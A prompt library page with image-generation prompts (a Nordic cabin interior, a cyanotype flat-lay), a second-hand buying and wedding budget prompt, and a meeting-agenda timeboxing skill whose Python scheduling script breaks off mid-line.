📝 Prompt Library
Hand-picked prompts for real work, plus the full community collection — copy, fill the brackets, go.
Photoreal interior architectural photograph of a small, warm Nordic cabin living room, about 3.5 by 4.5 meters, shot from the entry door looking straight toward the far window, camera at eye level (1.4 m), 24mm lens, vertical lines perfectly straight. The walls are whitewashed pale pine boards running vertically, the ceiling is vaulted with exposed pale wood beams, and the floor is wide-plank light oak. On the far wall, centered, a large black-framed three-pane picture window shows a snow-covered pine forest in soft overcast winter daylight; below it a deep window seat with an oatmeal linen cushion and two mustard-yellow pillows. In the far left corner, a potted olive tree in a terracotta pot. Along the left wall, a low sage-green boucle three-seat sofa with three seat cushions and slim walnut legs, with a mustard-yellow knit throw draped over its far arm, the end closest to the window; above the sofa, two long floating pale oak shelves with books, small white ceramic vases, and a trailing pothos plant. On the right wall, a small black cast-iron wood-burning stove on a dark grey slate hearth with a black flue pipe rising to the ceiling, unlit; just in front of the stove, nearer the camera, a recessed log niche stacked with birch logs; just beyond the stove, toward the window, a rust-orange leather sling armchair with a black steel frame angled toward the stove, and behind it a brass floor reading lamp with a cone shade. In the center, a round walnut coffee table on a cream wool rug with thin charcoal stripes, holding two stacked books and a small speckled ceramic bowl. A large white rice paper globe pendant hangs from the beams above the coffee table. Palette of warm white, pale oak, sage green, rust orange, mustard yellow, and charcoal. Calm, airy, inviting mood, soft natural daylight with gentle shadows, realistic textures of boucle, leather, wool, and wood grain, high-end interior magazine photography. No people, no text, no logos, no clutter. 16:9 wide composition.
Photoreal interior architectural photograph of the same small Nordic cabin living room from step 2, now seen from the opposite direction: the camera sits on the built-in window seat and looks back into the room toward the entry wall at dusk, eye level (1.2 m), 24mm lens, vertical lines straight. Keep every fixed design detail identical: walls of whitewashed pine boards running vertically, a vaulted white ceiling with two exposed pale oak beams, a wide-plank light oak floor, and a cream flat-weave rug with a black dotted border in the middle of the floor. LEFT side of this view (the right wall in step 2): two long floating pale oak shelves on black brackets holding terracotta vases, small white ceramic jars, stacked books, a small potted plant, and a trailing pothos; below them a pale oak sideboard with flat drawer and door fronts on slim tapered legs, topped with two matte sage-grey ceramic vases and a few small ceramics; a black swing-arm wall sconce above the sideboard, switched on with a warm glow; a woven seagrass basket with a mustard-yellow knit throw on the floor near the camera. RIGHT side of this view (the left wall in step 2): a light grey two-seat upholstered sofa with slim walnut legs, a mustard-yellow knit throw draped over its arm and a mustard textured cushion; behind it a slender potted olive tree in a white pot. Far wall, newly visible: the whitewashed pine board entry wall with a plain white panel door with a black lever handle on the right, three black coat hooks with a charcoal wool coat on one, and a small pale oak bench with a sheepskin on top and brown leather boots beneath; a white rice paper globe floor lamp in the corner, glowing softly. Lighting: blue hour, cool dusk light from the snowy forest window behind the camera mixed with the warm amber glow of the wall sconce and the paper lamp. Palette of warm white, pale oak, light grey, mustard yellow, terracotta, sage grey, and charcoal; realistic wool, knit, ceramic, and wood textures; calm Scandinavian interior magazine photography. No people, no text, no logos, no clutter. 16:9 wide composition.
You are a seasoned second-hand buying expert. Protect me from scams, hidden faults and overpaying, but don't treat normal wear as a problem. Item: ${item:2019 road bike, Shimano 105, size 56} Listing: ${listing:Barely used, always stored indoors, new tyres. Moving abroad. Price firm, cash only, meet at the train station.} Price: ${price:450 EUR} My location: ${location:Berlin, Germany} My experience: ${experience:beginner} Answer in phone-friendly bullets, max 700 words: 1. Verdict: Looks fine / Caution / Likely scam, and the main reason. 2. Red flags: quote the listing, rate each low/med/high, then list what's missing. Never invent facts. 3. Up to 6 copy-paste questions for the seller, including proof of ownership and one I can verify in person. 4. Inspection and tests: the checks that catch the costliest faults for this item, explained for my experience level, with what bad looks like. If likely scam, instead say how to verify the seller or walk away. 5. Price: fair range (as an estimate), repair costs to negotiate with, an opening offer and walk-away price (never above the asking price). 6. Deal-breakers. 7. Safe meetup, payment, receipt and stolen check. Be specific to this item and listing. If key details are missing, state assumptions and answer anyway. Only name websites or services you're sure exist.
role: > You are an experienced, budget-minded wedding planner who has organized small and mid-size weddings at every price level. You turn a total budget into a realistic plan with clear priorities, honest price ranges, a contingency buffer, and a payment schedule, and you help couples spend on what they care about most without surprise costs later. You never shame anyone for their budget and you never push upgrades. task: > Build a complete wedding budget plan for the couple described below: allocate the total budget across categories based on their priorities, show the hidden costs people usually forget, give savings options for each category, plan when each payment is due, and define what to cut first if quotes come in over budget. inputs: total_budget: "${budget:18000}" currency: "${currency:EUR}" location: "${location:countryside venue two hours from the city, central Europe}" date_or_season: "${date:Saturday in early June 2027}" guest_count: "${guests:85 adults and 6 children}" style: "${style:relaxed garden party, long tables, live acoustic music, no formal dances}" top_priorities: "${priorities:good food, photography, guests' comfort}" low_priorities: "${low:flowers, wedding cake, favors}" already_paid_or_booked: "${booked:venue deposit 1500 paid; venue fee 4200 including tables and chairs}" family_contributions: "${contributions:3000 from parents, to be paid in March 2027}" diy_skills_and_helpers: "${diy:a friend who bakes, we can do invitations and signs ourselves}" instructions: - State assumptions where inputs are missing instead of asking questions. - Reserve a contingency of 8 to 12 percent of the total before allocating anything else, and explain the choice. - Allocate the rest across categories (venue, catering and drinks, photography and video, music, attire and beauty, flowers and decor, stationery, rings, officiant and legal fees, transport, accommodation, cake and desserts, favors and gifts, rentals, staff and tips, wedding day insurance) weighted by the couple's priorities. Show amount, percent of total, and a per-guest figure where it applies. - For each category give a typical low-to-high price range for the stated region and style, clearly labeled as an estimate, and flag any allocation that looks unrealistic. - List hidden costs per category, for example service charges, corkage, cake cutting fees, overtime, travel fees for vendors, delivery and pickup, taxes, and tips. - Give two or three concrete savings options per category that keep the couple's priorities intact. - Build a payment schedule month by month from today to the wedding, including deposits, balances, and when the family contribution arrives, and flag any month where cash flow goes negative. - Define a cut list in order: what to reduce first, second, and third if quotes exceed the budget, with the money saved by each step. - Add a vendor quote checklist: questions to ask before signing, and what must be in writing. - Keep all money as plain numbers in the stated currency; totals must add up exactly to total_budget. output_format: YAML only, no prose outside the YAML, using exactly this structure output_schema: assumptions: [string] summary: total_budget: number contingency: number allocatable: number per_guest_total: number already_committed: number remaining_to_spend: number allocations: - category: string priority: high | medium | low amount: number percent_of_total: number per_guest: number or null typical_range: string realistic: true | false note: string hidden_costs: - category: string items: [string] estimated_amount: number savings_options: - category: string options: [string] payment_schedule: - month: "YYYY-MM" payments: - vendor_or_category: string type: deposit | installment | balance | purchase amount: number income: number cumulative_spent: number cash_flow_warning: string or null cut_list: - step: number action: string saves: number vendor_quote_checklist: questions_to_ask: [string] must_be_in_writing: [string] timeline_milestones: - when: string task: string checks: allocations_plus_contingency_equals_total: true | false notes: [string]
A wide, flat-lay photograph of a large handmade cyanotype print lying on a weathered pale oak worktable, the print filling most of the frame. The cyanotype shows a carefully arranged composition of coastal plants and sea finds as crisp white silhouettes on a deep, rich Prussian blue background: long feathery fronds of maidenhair and bracken ferns sweeping in from the left, delicate sprigs of sea lavender and Queen Anne's lace in the center, a branching strand of bladderwrack seaweed with its small air bladders, two ginkgo leaves, a tiny scallop shell, and the soft translucent outline of a dandelion seed head on the right. Where the plants were thin or slightly lifted from the paper, the silhouettes fade into pale sky blue and powder blue half-tones with fine visible veins, giving a ghostly, layered depth. The paper is thick, cold-pressed cotton watercolor paper with a slightly deckled, untrimmed edge, uneven hand-brushed borders where the blue chemistry stops in loose, streaky brush marks, and a few tiny drips and speckles. Around the print on the table: a glass contact frame leaning at the top edge, a small amber glass bottle, a wide flat hake brush with blue-stained bristles, a pair of brass tweezers, and a few loose fern fronds and seaweed pieces waiting for the next print. Soft, even morning daylight from a north window, gentle shadows, true-to-life color with the intense cyan blue as the hero, calm handmade studio atmosphere, extremely sharp paper texture and botanical detail. Composition: print slightly rotated, generous breathing room, 16:9 landscape framing. No people, no hands, no text, no labels, no signature, no watermark.
--- name: meeting-agenda-timeboxer description: Turns a rough list of meeting topics into a timeboxed agenda with start and end times, owners, and a clear outcome for every item (inform, discuss, decide, brainstorm, review), checks that it fits the slot with a buffer, flags agenda smells such as late or rushed decisions, too many status updates, oversized items, and missing breaks, and writes a ready-to-send agenda and pre-read. Use when a user asks "help me plan this meeting", "will this agenda fit in an hour?", "make this agenda tighter", or shares a list of topics for a team meeting, workshop, offsite, or review. --- # Meeting Agenda Timeboxer You help people run meetings that end on time and produce decisions. You turn a list of topics into a realistic schedule, give every item an owner and a purpose, move status updates out of the room, and make the time math visible so nobody discovers at minute 55 that the main decision has no time left. ## Files in this skill - `scripts/timebox_agenda.py` - schedules every item, checks the fit against the slot and buffer, flags agenda smells, and can fit items to the slot in 5-minute steps (Python 3 standard library only) - `references/timeboxing-principles.md` - how long things really take, item outcomes, ordering, buffers, and breaks - `references/facilitation-moves.md` - techniques to keep each kind of item inside its timebox, and what to do when one runs over - `templates/agenda.md` - the agenda input format and the agenda to send - `examples/example-roadmap-meeting.md` - a worked fix of an overloaded one-hour planning meeting ## Workflow ### 1. Collect the facts Ask, or assume and say so: - Purpose of the meeting in one sentence: what must be true when it ends? - Start time and length (or end time), number of attendees, in person or remote. - Topics, each with an owner and what the group must do with it: inform, update, discuss, brainstorm, review, or decide. - Hard constraints: people who join late or leave early, fixed breaks. ### 2. Write the draft agenda Use the input format in `templates/agenda.md` (one line per item: `minutes | topic | owner | outcome`). Use `?` for a duration nobody knows yet. Estimate durations with `references/timeboxing-principles.md`. ### 3. Run the timeboxer ```bash python3 scripts/timebox_agenda.py agenda.txt python3 scripts/timebox_agenda.py agenda.txt --fit # scale to the slot in 5-minute steps python3 scripts/timebox_agenda.py agenda.json --json ``` It prints the schedule with clock times, the buffer, and findings: HIGH when the agenda does not fit, WARN for smells, INFO for unplanned time and the meeting cost in person-hours. `--fit` trims status items first, then scales everything else; it never reorders items, so check the order yourself afterwards. If you cannot run the script, do the clock math by hand, item by item, and say so. ### 4. Fix the agenda, not just the numbers Work through the findings in this order: 1. Remove or shrink status updates and announcements: move them into a written pre-read. 2. Put decisions early (first half), and give each one at least 10 minutes plus a written proposal sent beforehand. 3. Give every item an owner and an outcome; drop "AOB" or turn it into a 5-minute parking lot review. 4. Split items over 45 minutes; add a break every 60 to 90 minutes. 5. If it still does not fit, propose what to cut or move to another meeting or to async, and say what is lost. Rerun the script until there are no HIGH findings and every WARN is either fixed or explained. ### 5. Deliver Fill in the agenda to send from `templates/agenda.md`: purpose, desired outcomes, the timed schedule, pre-reads with owners and deadlines, and the parking lot rule. Add one or two facilitation tips per risky item from `references/facilitation-moves.md`. Follow the style of `examples/example-roadmap-meeting.md`. ## Rules - Never make the math work by shrinking a decision below what it needs; cut or move something else, or recommend a longer slot. - Keep a buffer: about 5 minutes per hour, 10 percent for workshops. - Say plainly when a meeting should not happen (no decisions, nothing to discuss) and suggest the async alternative. - Respect the user's culture and constraints; suggest, do not lecture. - Times are local to the meeting; for remote attendees in other time zones, mention it but do not convert unless asked. FILE:references/timeboxing-principles.md # Timeboxing principles ## Every item needs an outcome | Outcome | What the group does | Typical time | Notes | |---|---|---|---| | inform | Hear something, ask a clarifying question | 2 to 5 min | Better as a written pre-read. | | update | Status from people or teams | 1 to 2 min per person | Usually async; keep only blockers live. | | discuss | Explore a topic, share views, no decision yet | 10 to 20 min | Say what the discussion feeds (a decision next week, a doc). | | brainstorm | Generate options | 15 to 30 min | Needs a framed question and a method (silent writing first). | | review | Give feedback on a draft, design, or plan | 15 to 40 min | Send the material beforehand; agree what kind of feedback is wanted. | | decide | Choose between options and commit | 10 to 30 min | Needs a written proposal, the options, the decision maker, and the decision rule. | | break | Rest | 5 to 15 min | Every 60 to 90 minutes. | If an item has no clear outcome, ask: "What will be different after this item?" If the answer is "nothing", cut it. ## How long things really take - Introductions: about 1 minute per person for a new group, 0 for a regular team. - Each person speaking once on a topic: about 1.5 to 2 minutes per person. Eight people, one round, is 15 minutes. - Screen sharing and getting started: 2 to 3 minutes, more for remote meetings with new tools. - A decision with real disagreement: double the estimate, or split it into "discuss" now and "decide" next time. - Items late in the agenda run faster but worse: people rush or leave. ## Ordering 1. Start with a short framing: purpose and desired outcomes (2 to 5 min). 2. Decisions and the hardest topics in the first half, while energy and attendance are high. 3. Discussion and review in the middle. 4. Information and updates last or out of the meeting entirely. 5. End with next steps, owners, and dates (5 min), never with AOB. Group items that need the same people, so others can leave early. ## Buffers and breaks - Buffer: about 5 minutes per hour, 10 percent for workshops. The buffer is part of the slot, not extra time. - Breaks: 5 to 10 minutes every 60 to 90 minutes; 15 for longer workshops. Remote meetings need breaks sooner. - Back-to-back calendars: end 5 minutes early (25 or 50 minute meetings). ## Fit checks - More than about 8 items per hour means each gets less than 7 minutes; merge or cut. - Status and announcements above about a third of the time: move them to a pre-read. - An item over 45 minutes: split it into steps with their own outcomes (for example "brainstorm 25" then "cluster and pick 20"). ## The cost of a meeting Person-hours = attendees x length in hours. A one-hour meeting with 9 people costs 9 working hours. Ask whether everyone needs to be there for every item. FILE:references/facilitation-moves.md # Facilitation moves that keep timeboxes ## Before the meeting - Send the agenda and pre-reads 24 to 48 hours ahead, with the owner of each item. - For every decision item, send a one-page proposal: the question, options, recommendation, and who decides. - Ask people to add questions to the pre-read in writing, so the meeting starts from questions, not from a presentation. ## At the start - State the purpose and the outcomes you need by the end. - Name a timekeeper and agree on the signal (a message in the chat, a raised hand at 2 minutes left). - Say how decisions are made today: the owner decides after input, majority vote, or consent ("any strong objection?"). ## By item type - Inform: "Two minutes, then one clarifying question each." Detailed questions go to the parking lot or to a follow-up chat. - Update: Only blockers and asks live; everything else is in the pre-read. - Discuss: Frame the question first ("What worries us about option B?"). Use a quick round so everyone speaks once before anyone speaks twice. - Brainstorm: 3 to 5 minutes of silent writing first, then share, then cluster. Quantity before judgment. - Review: Agree the kind of feedback: blocking issues, questions, or polish. Collect blocking issues first. - Decide: Restate the proposal, list concerns, check for objections, then decide and say it out loud: "We decided X; owner Y; by date Z." ## When an item runs over Make the choice visible instead of silently eating the next item: 1. "We have 2 minutes left on this. Do we extend by 5 minutes and cut something else, or park it?" 2. Park it: write it in the parking lot with an owner and a date. 3. Shrink the next item, never the decision items. 4. If the meeting goal is at risk, schedule a short follow-up with only the people needed. ## Remote and hybrid - Everyone joins on their own device so remote people are equal. - Use the chat for the speaking queue and for quick polls. - Share the agenda on screen with the current item highlighted. ## At the end - Read back decisions, owners, and dates (5 minutes). - Review the parking lot: assign each item or drop it. - Send notes within 24 hours. FILE:templates/agenda.md # Agenda input (for scripts/timebox_agenda.py) ``` Meeting: <name> Start: <HH:MM> Length: <minutes> # or End: <HH:MM> Buffer: <minutes or percent, e.g. 5 or 10%> Attendees: <number> <minutes> | <topic> | <owner> | <inform | update | discuss | brainstorm | review | decide | break> ? | <topic with unknown duration> | <owner> | <outcome> ``` A Markdown table with the columns Min, Topic, Owner, Outcome works too, and so does JSON: `{"meeting": "...", "start": "14:00", "length": 60, "buffer": 5, "attendees": 6, "items": [{"minutes": 10, "topic": "...", "owner": "...", "outcome": "decide"}]}` --- # Agenda to send **<Meeting name>** <Day, date>, <start>-<end> (<length> min), <place or video link> Attendees: <names or teams> | Facilitator: <name> | Timekeeper: <name> | Notes: <name> **Purpose:** <one sentence: what must be true when we finish> **Outcomes we need** 1. <decision or result> 2. <decision or result> **Pre-read (by <day, time>)** - <document> - <owner> - <what to look at, how long it takes to read> **Schedule** | Time | Min | Item | Owner | Outcome | |---|---|---|---|---| | <HH:MM-HH:MM> | <n> | <topic> | <owner> | <outcome> | | <HH:MM-HH:MM> | <n> | Buffer and wrap-up: decisions, owners, dates | <facilitator> | | **How we decide today:** <owner decides after input | consent | vote> **Parking lot:** Off-topic points go to the parking lot and get an owner at the end. **Moved out of this meeting** - <item> -> <async update, other meeting, or a document>, owner <name> FILE:examples/example-roadmap-meeting.md # Example: fixing an overloaded one-hour planning meeting ## The request "I have one hour with 9 people on Thursday at 14:00 to plan Q4. Here is my agenda. Will it fit? The budget split must be approved in this meeting, and the top 3 initiatives too." Draft agenda (`agenda.txt`): ``` Meeting: Q4 roadmap planning Start: 14:00 Length: 60 Buffer: 5 Attendees: 9 10 | Welcome and goals | Dana | inform 15 | Team status round (each team lead) | Leads | update 10 | Customer feedback highlights | Priya | inform 20 | Q4 priorities: pick top 3 initiatives | Lee | discuss 10 | Hiring plan for Q4 | | discuss 5 | Approve Q4 budget split | Dana | decide ? | AOB | | ``` ## First run ``` $ python3 scripts/timebox_agenda.py agenda.txt Q4 roadmap planning: 14:00-15:00 (60 min, buffer 5 min, 55 min for items) Planned: 70 min 14:00-14:10 10 min Welcome and goals (Dana) [inform] 14:10-14:25 15 min Team status round (each team lead) (Leads) [update] 14:25-14:35 10 min Customer feedback highlights (Priya) [inform] 14:35-14:55 20 min Q4 priorities: pick top 3 initiatives (Lee) [discuss] 14:55-15:05 10 min Hiring plan for Q4 [discuss] 15:05-15:10 5 min Approve Q4 budget split (Dana) [decide] 15:10-15:10 ? min AOB [?] 14:55-15:00 5 min Buffer / wrap-up Findings: - [HIGH] Agenda needs 70 min but only 55 min are available after the 5-min buffer: overrun of 15 min (ends 15:10 instead of 14:55). Cut, shorten, or move items, or run with --fit. - [WARN] 1 item(s) without a duration: AOB. Remaining time for them: 0 min. - [WARN] "Hiring plan for Q4" has no owner; name who prepares and leads it. - [WARN] "Approve Q4 budget split" is a decision with only 5 min; plan at least 10, or decide by a written proposal beforehand. - [WARN] "Approve Q4 budget split" is a decision starting at 15:05, in the last quarter of the meeting; move it earlier while energy and attendance are high. - [WARN] "AOB" has no owner; name who prepares and leads it. - [WARN] "AOB" has no outcome; say whether it is to inform, discuss, decide, or brainstorm. - [WARN] Status updates and announcements take 50% of the time; send them as a pre-read and keep the meeting for discussion and decisions. - [INFO] Meeting cost: 9 people x 60 min = 9 person-hours. ``` Exit code 1: the agenda does not fit. ## What the numbers say - 70 minutes of items (plus AOB) in a 55-minute window: 15 minutes over before AOB even starts. - Half of the time is updates and announcements, while the two things that must be decided get 5 minutes (budget) and a "discuss" label (priorities), and the budget decision would start at 15:05, after the meeting should have ended. - Running `--fit` alone would squeeze everything into 55 minutes but leave the budget decision last with 5 minutes. Fitting the numbers is not enough; the order and the purpose of items have to change. ## Changes 1. Team status round (15 min) and customer feedback highlights (10 min) become a written pre-read due Wednesday 12:00; questions go in comments. 2. The budget split moves to the start with 10 minutes and a proposal sent Monday, so the meeting only confirms or adjusts it. 3. "Q4 priorities" becomes a decision with 25 minutes: the outcome is a ranked top 3. 4. The hiring plan gets an owner (Priya) and a narrower question: which roles to open. 5. AOB is replaced by a 5-minute "next steps, owners, and parking lot" close. 6. Three people only needed for the status round can skip the meeting: 6 attendees instead of 9. Revised agenda: ``` Meeting: Q4 roadmap planning Start: 14:00 Length: 60 Buffer: 5 Attendees: 6 5 | Welcome and goals for today | Dana | inform 10 | Approve Q4 budget split (proposal sent Monday) | Dana | decide 25 | Q4 priorities: pick top 3 initiatives | Lee | decide 10 | Hiring plan for Q4: agree which roles to open | Priya | discuss 5 | Next steps, owners, and parking lot | Dana | inform ``` ## Second run ``` $ python3 scripts/timebox_agenda.py agenda-revised.txt Q4 roadmap planning: 14:00-15:00 (60 min, buffer 5 min, 55 min for items) Planned: 55 min 14:00-14:05 5 min Welcome and goals for today (Dana) [inform] 14:05-14:15 10 min Approve Q4 budget split (proposal sent Monday) (Dana) [decide] 14:15-14:40 25 min Q4 priorities: pick top 3 initiatives (Lee) [decide] 14:40-14:50 10 min Hiring plan for Q4: agree which roles to open (Priya) [discuss] 14:50-14:55 5 min Next steps, owners, and parking lot (Dana) [inform] 14:55-15:00 5 min Buffer / wrap-up Findings: - [INFO] Meeting cost: 6 people x 60 min = 6 person-hours. ``` Exit code 0, no warnings, and the meeting costs 6 person-hours instead of 9. ## The agenda to send (filled template, shortened) **Q4 roadmap planning** Thursday, 14:00-15:00 (60 min), Room 3 and video link Facilitator: Dana | Timekeeper: Lee | Notes: Priya **Purpose:** Leave with an approved Q4 budget split and a ranked top 3 of initiatives. **Pre-read (by Wednesday 12:00)** - Team status one-pagers - each team lead - 5 min to read - Customer feedback highlights - Priya - 5 min - Budget split proposal - Dana - 10 min **Schedule** | Time | Min | Item | Owner | Outcome | |---|---|---|---|---| | 14:00-14:05 | 5 | Welcome and goals for today | Dana | inform | | 14:05-14:15 | 10 | Approve Q4 budget split (proposal sent Monday) | Dana | decide | | 14:15-14:40 | 25 | Q4 priorities: pick top 3 initiatives | Lee | decide | | 14:40-14:50 | 10 | Hiring plan for Q4: agree which roles to open | Priya | discuss | | 14:50-14:55 | 5 | Next steps, owners, and parking lot | Dana | inform | | 14:55-15:00 | 5 | Buffer | | | **How we decide today:** Dana decides the budget after input; the top 3 is chosen by consent (any strong objection?). **Facilitation tips** - Priorities: 3 minutes of silent dot voting on the candidate list, then discuss only the items ranked 2 to 5. - If the budget item hits 10 minutes, park the open point with an owner and a 24-hour deadline instead of eating into priorities. **Moved out of this meeting:** team status round and customer feedback (pre-read). ## Why this is a good answer - It fixes the purpose and the order, not just the minutes. - Both required decisions now happen in the first 40 minutes, with prepared proposals. - The script confirms the fit, and the people who were only there for updates get their hour back. FILE:scripts/timebox_agenda.py #!/usr/bin/env python3 """Timebox a meeting agenda: schedule every item, check the fit, and flag agenda smells. Usage: python3 timebox_agenda.py agenda.txt python3 timebox_agenda.py agenda.txt --fit # scale items to fit the slot (5-minute steps) python3 timebox_agenda.py agenda.json --json cat agenda.txt | python3 timebox_agenda.py - Text input: optional "Key: value" header lines, then one item per line as minutes | topic | owner | outcome Markdown table rows (| 10 | Topic | Owner | decide |) also work; header and separator rows are skipped. Use ? for an unknown duration. Header keys: Meeting, Start (HH:MM), Length (minutes) or End (HH:MM), Buffer (minutes or percent, e.g. 5 or 10%), Attendees (number). Outcomes: inform, update, discuss, brainstorm, review, decide, break. JSON input: {"meeting": "...", "start": "14:00", "length": 60, "buffer": 5, "attendees": 8, "items": [{"minutes": 10, "topic": "...", "owner": "...", "outcome": "decide"}]} --fit trims status items (and items with no outcome) first, then scales everything; spare time goes to decide and discuss items. Checks: overrun (HIGH), missing durations, owners, or outcomes, late or rushed decisions, oversized items, long stretches without a break, too many status updates, too many items per hour, plus the meeting's cost in person-hours. Exit code: 0 no HIGH findings, 1 HIGH found, 2 usage or input error. Standard library only. """ import argparse import json import math import re import sys OUTCOMES = {"inform", "update", "discuss", "brainstorm", "review", "decide", "break"} ALIASES = {"decision": "decide", "info": "inform", "fyi": "inform", "status": "update", "updates": "update", "discussion": "discuss", "ideas": "brainstorm", "ideation": "brainstorm", "feedback": "review", "approve": "decide", "approval": "decide", "pause": "break", "coffee": "break"} class InputError(Exception): pass def hhmm(text): m = re.fullmatch(r"\s*(\d{1,2})[:.](\d{2})\s*", str(text)) if not m or int(m.group(1)) > 23 or int(m.group(2)) > 59: raise InputError(f"time must be HH:MM, got {text!r}") return int(m.group(1)) * 60 + int(m.group(2)) def fmt(minutes): minutes = int(round(minutes)) % (24 * 60) return f"{minutes // 60:02d}:{minutes % 60:02d}" def parse_minutes(text): t = str(text).strip().lower() if t in ("", "?", "tbd", "-"): return None m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*(m|min|mins|minutes?)?", t) if m: return float(m.group(1)) m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*h(?:ours?)?(?:\s*(\d+)\s*m(?:in)?)?", t) if m: return float(m.group(1)) * 60 + float(m.group(2) or 0) raise InputError(f"cannot read duration {text!r}") def norm_outcome(text): t = (text or "").strip().lower() return ALIASES.get(t, t) def parse_text(text): meta, items, errors = {}, [], [] for no, raw in enumerate(text.replace("\r\n", "\n").split("\n"), 1): line = raw.strip() if not line or line.startswith("#"): continue hm = re.fullmatch(r"([A-Za-z ]{3,20}):\s*(.+)", line) if hm and "|" not in line: meta[hm.group(1).strip().lower()] = hm.group(2).strip() continue if "|" not in line: errors.append(f"line {no}: expected 'minutes | topic | owner | outcome', got {line[:60]!r}") continue cells = [c.strip() for c in line.strip("|").split("|")] if all(re.fullmatch(r":?-{2,}:?", c) for c in cells if c): continue if cells and cells[0].lower() in ("min", "mins", "minutes", "time", "duration"): continue cells += [""] * (4 - len(cells)) try: minutes = parse_minutes(cells[0]) except InputError as e: errors.append(f"line {no}: {e}") continue if not cells[1]: errors.append(f"line {no}: item has no topic") continue items.append({"line": no, "minutes": minutes, "topic": cells[1], "owner": cells[2], "outcome": norm_outcome(cells[3])}) return meta, items, errors def parse_json(text): data = json.loads(text) if not isinstance(data, dict) or not isinstance(data.get("items"), list): raise InputError("JSON input needs an object with an 'items' list") meta = {k.lower(): str(v) for k, v in data.items() if k != "items" and v is not None} items, errors = [], [] for i, it in enumerate(data["items"], 1): try: minutes = parse_minutes(it.get("minutes", "")) except InputError as e: errors.append(f"item {i}: {e}") continue if not str(it.get("topic", "")).strip(): errors.append(f"item {i}: item has no topic") continue items.append({"line": i, "minutes": minutes, "topic": str(it["topic"]).strip(), "owner": str(it.get("owner", "") or "").strip(), "outcome": norm_outcome(it.get("outcome", ""))}) return meta, items, errors def settings(meta): start = hhmm(meta.get("start", "09:00")) if "length" in meta: length = parse_minutes(meta["length"]) if not length or length <= 0: raise InputError("Length must be a positive number of minutes") elif "end" in meta: length = (hhmm(meta["end"]) - start) % (24 * 60) if length == 0: raise InputError("End must be after Start") else: raise InputError("header needs 'Length: <minutes>' or 'End: HH:MM'") b = meta.get("buffer", "0").strip() if b.endswith("%"): buffer = 5 * round(length * float(b[:-1]) / 100 / 5) # percent buffers round to 5 minutes else: buffer = parse_minutes(b) or 0 if buffer >= length: raise InputError("Buffer must be shorter than the meeting") attendees = int(meta["attendees"]) if str(meta.get("attendees", "")).strip().isdigit() else None return {"meeting": meta.get("meeting", meta.get("title", "Meeting")), "start": start, "length": length, "buffer": buffer, "available": length - buffer, "attendees": attendees} def fit(items, available): """Fit items into `available` minutes in 5-minute steps (missing durations count as 10, breaks kept). When the agenda is too long, status items (inform, update, or no outcome) are trimmed first, down to half their planned time; then every item is scaled proportionally. When it is too short, the spare time goes to decide and discuss items first. """ fixed = sum(it["minutes"] or 0 for it in items if it["outcome"] == "break") flex = [it for it in items if it["outcome"] != "break"] room = available - fixed if not flex or room < 5 * len(flex): raise InputError(f"cannot fit {len(flex)} items into {room:g} minutes with at least 5 minutes each") want = [max(5, 5 * round((it["minutes"] or 10) / 5)) for it in flex] cur = list(want) status = [i for i, it in enumerate(flex) if it["outcome"] in ("inform", "update", "")] while sum(cur) > room: cands = [i for i in status if cur[i] - 5 >= max(5, want[i] / 2)] if not cands: break cur[max(cands, key=lambda k: cur[k])] -= 5 if sum(cur) > room: scale = room / sum(cur) ref = [c * scale for c in cur] cur = [max(5, 5 * round(r / 5)) for r in ref] while sum(cur) > room: cands = [k for k in range(len(cur)) if cur[k] > 5] cur[max(cands, key=lambda k: (cur[k] - ref[k], cur[k]))] -= 5 while sum(cur) + 5 <= room: cur[min(range(len(cur)), key=lambda k: cur[k] - ref[k])] += 5 else: prio = [i for i, it in enumerate(flex) if it["outcome"] in ("decide", "discuss")] or list(range(len(flex))) while sum(cur) + 5 <= room: cur[min(prio, key=lambda k: cur[k] / want[k])] += 5 out, it_new = [], iter(cur) for it in items: copy = dict(it) copy["original"] = it["minutes"] if it["outcome"] != "break": copy["minutes"] = float(next(it_new)) out.append(copy) return out def analyze(items, cfg): findings = [] def add(sev, msg): findings.append({"severity": sev, "message": msg}) t = cfg["start"] for it in items: it["start"] = t t += it["minutes"] or 0 it["end"] = t planned = sum(it["minutes"] or 0 for it in items) avail, end_slot = cfg["available"], cfg["start"] + cfg["length"] unknown = [it for it in items if it["minutes"] is None] if planned > avail: add("HIGH", f"Agenda needs {planned:g} min but only {avail:g} min are available" f"{' after the ' + format(cfg['buffer'], 'g') + '-min buffer' if cfg['buffer'] else ''}: overrun of {planned - avail:g} min" f" (ends {fmt(cfg['start'] + planned)} instead of {fmt(end_slot - cfg['buffer'])}). Cut, shorten, or move items, or run with --fit.") elif avail - planned > 0.15 * avail and not unknown: add("INFO", f"{avail - planned:g} min unplanned; end early or give the main decision more time.") if unknown: add("WARN", f"{len(unknown)} item(s) without a duration: " + "; ".join(it["topic"][:40] for it in unknown) + f". Remaining time for them: {max(avail - planned, 0):g} min.") for it in items: name = f"\"{it['topic'][:50]}\"" if it["outcome"] != "break" and not it["owner"]: add("WARN", f"{name} has no owner; name who prepares and leads it.") if not it["outcome"]: add("WARN", f"{name} has no outcome; say whether it is to inform, discuss, decide, or brainstorm.") elif it["outcome"] not in OUTCOMES: add("WARN", f"{name} has unknown outcome '{it['outcome']}' (use: {', '.join(sorted(OUTCOMES))}).") m = it["minutes"] or 0 if it["outcome"] == "decide": if it["minutes"] is not None and m < 10: add("WARN", f"{name} is a decision with only {m:g} min; plan at least 10, or decide by a written proposal beforehand.") if it["start"] - cfg["start"] >= 0.75 * cfg["length"]: add("WARN", f"{name} is a decision starting at {fmt(it['start'])}, in the last quarter of the meeting; move it earlier while energy and attendance are high.") if it["outcome"] in ("discuss", "brainstorm", "review") and it["minutes"] is not None and m < 5: add("WARN", f"{name} is a {it['outcome']} item with {m:g} min; that is a mention, not a {it['outcome']}.") if m > 45 and it["outcome"] != "break": add("WARN", f"{name} is {m:g} min long; split it into parts with their own outcomes.") stretch, stretch_start = 0, cfg["start"] for it in items: if it["outcome"] == "break": stretch, stretch_start = 0, it["end"] continue stretch += it["minutes"] or 0 if stretch > 90: add("WARN", f"{stretch:g} min without a break from {fmt(stretch_start)}; add a 5 to 10 min break about every 60 to 90 min.") stretch = -10**9 status = sum(it["minutes"] or 0 for it in items if it["outcome"] in ("inform", "update")) if planned and status / planned > 0.35: add("WARN", f"Status updates and announcements take {round(100 * status / planned)}% of the time; send them as a pre-read and keep the meeting for discussion and decisions.") work_items = [it for it in items if it["outcome"] != "break"] hours = cfg["length"] / 60 if hours and len(work_items) / hours > 8: add("WARN", f"{len(work_items)} 